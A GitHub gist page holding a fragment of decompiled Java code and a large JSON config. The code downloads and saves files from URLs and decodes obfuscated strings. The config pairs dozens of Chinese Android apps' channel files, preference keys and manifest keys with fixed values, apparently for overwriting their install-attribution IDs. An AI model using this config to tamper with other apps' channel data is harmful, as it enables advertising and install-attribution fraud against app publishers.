v2.close();
v1.close();
return v0_2;
label_20:
v2.close();
v1.close();
throw v0;
}
public static String readURLFile(String arg6) throws IOException {
String v0_2;
InputStream v1 = new URL(arg6).openStream();
BufferedInputStream v2 = new BufferedInputStream(v1);
try {
ByteArrayOutputStream v0_1 = new ByteArrayOutputStream();
byte[] v3 = new byte[0x400];
while(true) {
int v4 = v2.read(v3);
if(v4 <= 0) {
break;
}
v0_1.write(v3, 0, v4);
}
v0_2 = v0_1.toString();
}
catch(Throwable v0) {
goto label_19;
}
v2.close();
v1.close();
return v0_2;
label_19:
v2.close();
v1.close();
throw v0;
}
public static void saveURLFile(String arg6, String arg7) throws IOException {
InputStream v1 = new URL(arg6).openStream();
BufferedInputStream v2 = new BufferedInputStream(v1);
BufferedOutputStream v3 = new BufferedOutputStream(new FileOutputStream(arg7));
int v0 = 0x400;
try {
byte[] v0_2 = new byte[v0];
while(true) {
int v4 = v2.read(v0_2);
if(v4 <= 0) {
break;
}
v3.write(v0_2, 0, v4);
}
}
catch(Throwable v0_1) {
goto label_21;
}
v2.close();
v1.close();
v3.close();
return;
label_21:
v2.close();
v1.close();
v3.close();
throw v0_1;
}
private static String unmarkAddr(String arg10) {
char[] v4 = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'A', 'B', 'C', 'D', 'E', 'F'};
char[] v5 = new char[]{'B', 'E', 'F', 'J', 'K', 'N', 'O', 'R', 'S', 'U', 'Y', 'Z', 'a', 'b', 'f', 'j', 'k', 'l', 'o', 'p', 'q', 'v'};
String v2 = "";
int v0;
for(v0 = 0; v0 < arg10.length(); ++v0) {
char v6 = ((char)arg10.charAt(v0));
int v3 = 0;
while(true) {
if(v3 < v5.length) {
if(v6 != v5[v3]) {
++v3;
continue;
}
else {
break;
}
}
goto label_142;
}
v2 = v2 + v4[v3];
label_142:
if(v0 % 2 != 0 && v0 != arg10.length() - 1) {
v2 = v2 + ":";
}
}
return v2;
}
private static String unmarkId(String arg7) {
char[] v4 = new char[]{'E', 'j', 'G', 'a', 'Z', 'i', 'h', 'c', 'm', 'T'};
String v2 = "";
int v0;
for(v0 = 0; v0 < arg7.length(); ++v0) {
int v3 = 0;
while(true) {
if(v3 < v4.length) {
if(v4[v3] != arg7.charAt(v0)) {
++v3;
continue;
}
else {
break;
}
}
goto label_41;
}
v2 = v2 + String.valueOf(v3);
label_41:
}
return v2;
}
}
{
"channel_file": [
{
"package": "com.baidu.browser.apps",
"path": "res/raw/tnconfig.ini",
"fixed_data": "1014006d"
},
{
"package": "com.tencent.news",
"path": "channel",
"fixed_data": "448\r\n"
},
{
"package": "com.tencent.qqlive",
"path": "channel.ini",
"fixed_data": "CHANNEL=5010 \r\n"
},
{
"package": "com.dianxinos.optimizer.channel",
"path": "lc.txt",
"fixed_data": "uy1OhbinYuBB4qU1\r\n"
},
{
"package": "com.netease.cloudmusic",
"path": "res/raw/channel.bin",
"fixed_data": "kong100022"
},
{
"package": "com.netease.mail",
"path": "conf/AppConfig.cfg",
"fixed_data": "{\r\n \"channel\":\"519\",\r\n \"buildTime\":\"2015-05-13 16-20-06\"\r\n}\r\n"
},
{
"package": "com.qq.reader",
"path": "channel.ini",
"fixed_data": "CHANNEL=10002508"
},
{
"package": "com.sg.sledog",
"path": "res/raw/channel_code.txt",
"fixed_data": "11692"
},
{
"package": "com.baidu.video",
"path": "channel",
"fixed_data": "1049c"
},
{
"package": "com.sohu.sohuvideo",
"path": "common.properties",
"fixed_data": "poid:1\r\n\r\n#10 phone 11 pad\r\nclient:10\r\n\r\n#0-aoid pad; 2-tv; 5-; 6-aphone; 8-S60V3; 9-S60V5;15-android pad;\r\nplatform:6\r\n\r\nplatform_pad:16\r\n\r\npartnerNo:1727\r\n\r\nsver:4.0.2\r\n"
},
{
"package": "com.tencent.mtt",
"path": "channel.ini",
"fixed_data": "CHANNEL=91261"
},
{
"package": "com.baidu.input",
"path": "channel",
"fixed_data": "1010466b\r\n"
},
{
"package": "com.sohu.newsclient",
"path": "channel.txt",
"fixed_data": "1066\r\n"
},
{
"package": "com.UCMobile",
"path": "UCMobile/config.ini",
"fixed_data": "bid=800\r\nbmode=P3W\r\nbtype=UM\r\nch=tangxj@yuryuu"
},
{
"package": "com.baidu.BaiduMap",
"path": "channel",
"fixed_data": "1013299d"
},
{
"package": "com.baidu.hao123",
"path": "res/raw/tnconfig.ini",
"fixed_data": "1012948b"
},
{
"package": "com.baidu.searchbox",
"path": "res/raw/tnconfig.ini",
"fixed_data": "7300050a"
},
{
"package": "com.tpzy.reader.zy",
"path": "res/raw/td",
"fixed_data": "tyd000"
},
{
"package": "com.tencent.reading",
"path": "channel",
"fixed_data": "448 \r\n"
},
{
"package": "com.dianping.v1",
"path": "source.txt",
"fixed_data": "bd_nz_koobeeshuaji1"
},
{
"package": "com.cleanmaster.mguard_cn",
"path": "cn",
"fixed_data": "2010000385"
},
{
"package": "com.qihoo.appstore",
"path": "conf",
"fixed_data": "cid=430452\r\n"
},
{
"package": "com.iyd.reader.ReadingJoy",
"path": "config/iydsys.xml",
"fixed_data": "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>\n<setting>\n<channelnum?281000029</channelnum>\n<channeltype>store</channeltype>\n<channelid?yidongMM</channelid>\n<appid>readingjoy</appid>\n<appversion>5.9.3.09</appversion>\n<appcode?590309</appcode>\n</setting>"
},
{
"package": "com.cleanmaster.mguard",
"path": "cn",
"fixed_data": "2010004404\n"
},
{
"package": "com.sankuai.meituan",
"path": "META-INF/mtconfig.ini",
"fixed_data": "{\"mtchannel\":\"shkubi1\"}"
},
{
"package": "com.achievo.vipshop",
"path": "META-INF/vipchannel.txt",
"fixed_data": "上海卓悠预装6月,r210037t:gvu0el4r:ewie8da5:r210037n"
},
{
"package": "com.tudou.android",
"path": "channel_name",
"fixed_data": "92489ba036f1b52c\r\n"
},
{
"package": "cn.kuwo.player",
"path": "channel_info",
"fixed_data": "zhuoyi02"
},
{
"package": "ctrip.android.view",
"path": "META-INF/channel",
"fixed_data": "{SourceID:\"9766\",\r\nTelePhone:\"4008209662,000\",\r\nAllianceID:\"66856\",\r\nSID:\"508883\",\r\nOUID:\"\"}\r\n"
},
{
"package": "ctrip.android.view",
"path": "META-INF/channelEx",
"fixed_data": "{VC:1118}\r\n"
},
{
"package": "com.sogou.map.android.maps",
"path": "res/raw/product",
"fixed_data": "{\r\n\"product\": \"sogoumap-phone\",\r\n\"params\": [{\r\n\"bsns\": \"74\"\r\n},\r\n{\r\n\"edt\":\"\"\r\n},\r\n{\r\n\"dzid\": \"0\"\r\n}]\r\n}"
},
{
"package": "com.ss.android.article.news",
"path": "ss.properties",
"fixed_data": "meta_umeng_channel = tyd00-3\r\nrelease_build = e6958ef_20151230\r\ntag_name = news_release_huawei2\r\n"
},
{
"package": "com.Qunar",
"path": "config",
"fixed_data": "0100FFFF9367A695A36C55695B4B5B4251436D4F6E67A68F99A8A6A29EA0AC8EA359555B6CA89D998F6C63695BAAAA92A459555B6C46584E575D6D5D5D6C9D92A459555B6C58594E565E6D5D5D6C9A98A096A2966C4F695C9699A1A88BAD9D93998DAA596269678BA4A6AA9C9897AC8B66416F599D949B9D95AD9FA18EA0A884A78B6D4F6E67949B9EAA6D4F5D6C4A424F425659626967889EAA6D4F5D6C574B584B5E4A5B516752676C98919C9E9D92A459555B6C92914E5159AD574957AC46A347AB4BA9A4525C8A"
},
{
"package": "com.android.browser",
"path": "channel.ini",
"fixed_data": "CHANNEL=81155\r\n"
},
{
"package": "com.tencent.android.qqdownloader",
"path": "channel.ini",
"fixed_data": "CHANNEL=90522"
},
{
"package": "com.zhuoyi.market",
"path": "cp",
"fixed_data": "zy0000"
},
{
"package": "com.zhuoyi.market",
"path": "td",
"fixed_data": "droimtk01"
}
],
"bundle": [
{
"package": "pptv",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "4e2562a9431fe3485b0002cd",
"fixed_data": "umeng_505"
},
{
"package": "jinritoutiao",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "4fd805175270154a3c000005",
"fixed_data": "tyd00-3"
},
{
"package": "kuaikanxiaoshuo",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "52a1a2ae56240ba0780d786c",
"fixed_data": "K101194"
},
{
"package": "sogousearch",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "54af8cf0fd98c54c19000b45",
"fixed_data": "4002"
},
{
"package": "pptv juli",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "4e2562a9431fe3485b0002cd",
"fixed_data": "umeng_704"
},
{
"package": "qiyouxiaoshuo",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "5080b47752701512800000b6",
"fixed_data": "tydtech"
},
{
"package": "jumeiyoupin",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "51c2c32456240b16520929a9",
"fixed_data": "tianyida01"
},
{
"package": "2345 browser",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "5036e0ae5270154b55000002",
"fixed_data": "sc-zhuoyi_as_lj"
},
{
"package": "kuaikanmianfeixiaoshuo",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "52a1a2ae56240ba0780d786c",
"fixed_data": "K101200"
},
{
"package": "yidagong",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "54cf674ffd98c5d6e9000a85",
"fixed_data": "ShZhYSC001_AP_DM_YDG"
},
{
"package": "kuwoyinyue",
"channel_key": "ire_channel",
"app_key": "UMENG_APPKEY",
"app_value": "52ce5c0856240bdbc3004834",
"fixed_data": "zhuoyi02"
},
{
"package": "kuwoyinyue",
"channel_key": "src",
"app_key": "UMENG_APPKEY",
"app_value": "52ce5c0856240bdbc3004834",
"fixed_data": "zhuoyi02"
},
{
"package": "paipaiweidian",
"channel_key": "InstallChannel",
"app_key": "XG_V2_ACCESS_KEY",
"app_value": "A6TH6L3P5Q2V",
"fixed_data": "kubi"
},
{
"package": "weipinhui",
"channel_key": "TD_CHANNEL_ID",
"app_key": "UMENG_APPKEY",
"app_value": "516f69a256240b561e021be4",
"fixed_data": "yz-tianyida"
},
{
"package": "weipinhui",
"channel_key": "CPS_ID",
"app_key": "UMENG_APPKEY",
"app_value": "4fa0d67552701579db000015",
"fixed_data": "ono0019q:gvu0el4r:ewie8da5:ono0019k"
},
{
"package": "sohu yuedu return int!!!not string",
"channel_key": "CHANNEL",
"app_key": "",
"app_value": "",
"fixed_data": "(int)1589"
},
{
"package": "4NcFtCviDh7pMty0ek3MU4",
"channel_key": "channel",
"app_key": "PUSH_APPID",
"app_value": "4NcFtCviDh7pMty0ek3MU4",
"fixed_data": "(int)6"
},
{
"package": "71Bw2vxz7tA3pdxYkNgUa",
"channel_key": "UMENG_APPKEY",
"app_key": "PUSH_APPID",
"app_value": "71Bw2vxz7tA3pdxYkNgUa",
"fixed_data": "zhuoyi2"
},
{
"package": "com.medapp",
"channel_key": "application_source",
"app_key": "",
"app_value": "",
"fixed_data": "zy2"
},
{
"package": "com.medapp.man",
"channel_key": "application_source",
"app_key": "",
"app_value": "",
"fixed_data": "zy2"
},
{
"package": "com.youyuan.yyhl",
"channel_key": "UMENG_CHANNEL",
"app_key": "UMENG_APPKEY",
"app_value": "542803d4fd98c566cc00a66b",
"fixed_data": "45685"
}
],
"shared_preference": [
{
"package": "com.baidu.appsearch",
"file": "",
"key": "tnconfig",
"fixed_data": "1011867a"
},
{
"package": "com.baidu.searchbox",
"file": "",
"key": "tnconfig",
"fixed_data": "7300050a"
},
{
"package": "com.sohu.newsclient",
"file": "",
"key": "channelNumber",
"fixed_data": "6193"
},
{
"package": "com.taobao.taobao",
"file": "",
"key": "ttid",
"fixed_data": "10001405"
},
{
"package": "com.tmall.wireless",
"file": "",
"key": "app_tt_id",
"fixed_data": "10006618@tmall_android_5.16.0"
},
{
"package": "com.sohu.inputmethod.sogou",
"file": "",
"key": "first_install_fr",
"fixed_data": "android_oem_tianyida_tx"
},
{
"package": "com.qiyi.video",
"file": "",
"key": "setchannelwithcodevalue",
"fixed_data": "QYVideoClient_7.1_for_TYD _Player_0323_01"
},
{
"package": "com.sohu.sohuvideo",
"file": "",
"key": "PartnerNo06011817",
"fixed_data": "1727"
}
],
"zip_entry": [
{
"package": "com.yjyc.zycp",
"file": "META-INF/chanel_",
"fixed_data": "META-INF/chanel_21001300000"
},
{
"package": "com.sdu.didi.psnger",
"file": "META-INF/channel_",
"fixed_data": "META-INF/channel_759"
},
{
"package": "com.moji.mjweather",
"file": "assets/channel/channel_",
"fixed_data": "assets/channel/channel_5123"
},
{
"package": "com.sohu.sohuvideo",
"file": "META-INF/sohuvideoChannel_",
"fixed_data": "META-INF/sohuvideoChannel_1727"
},
{
"package": "com.juanpi.ui",
"file": "META-INF/jpchannel",
"fixed_data": "META-INF/jpchannel&zhuoyimarketing&102675"
}
],
"status": "1",
"version": 0
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.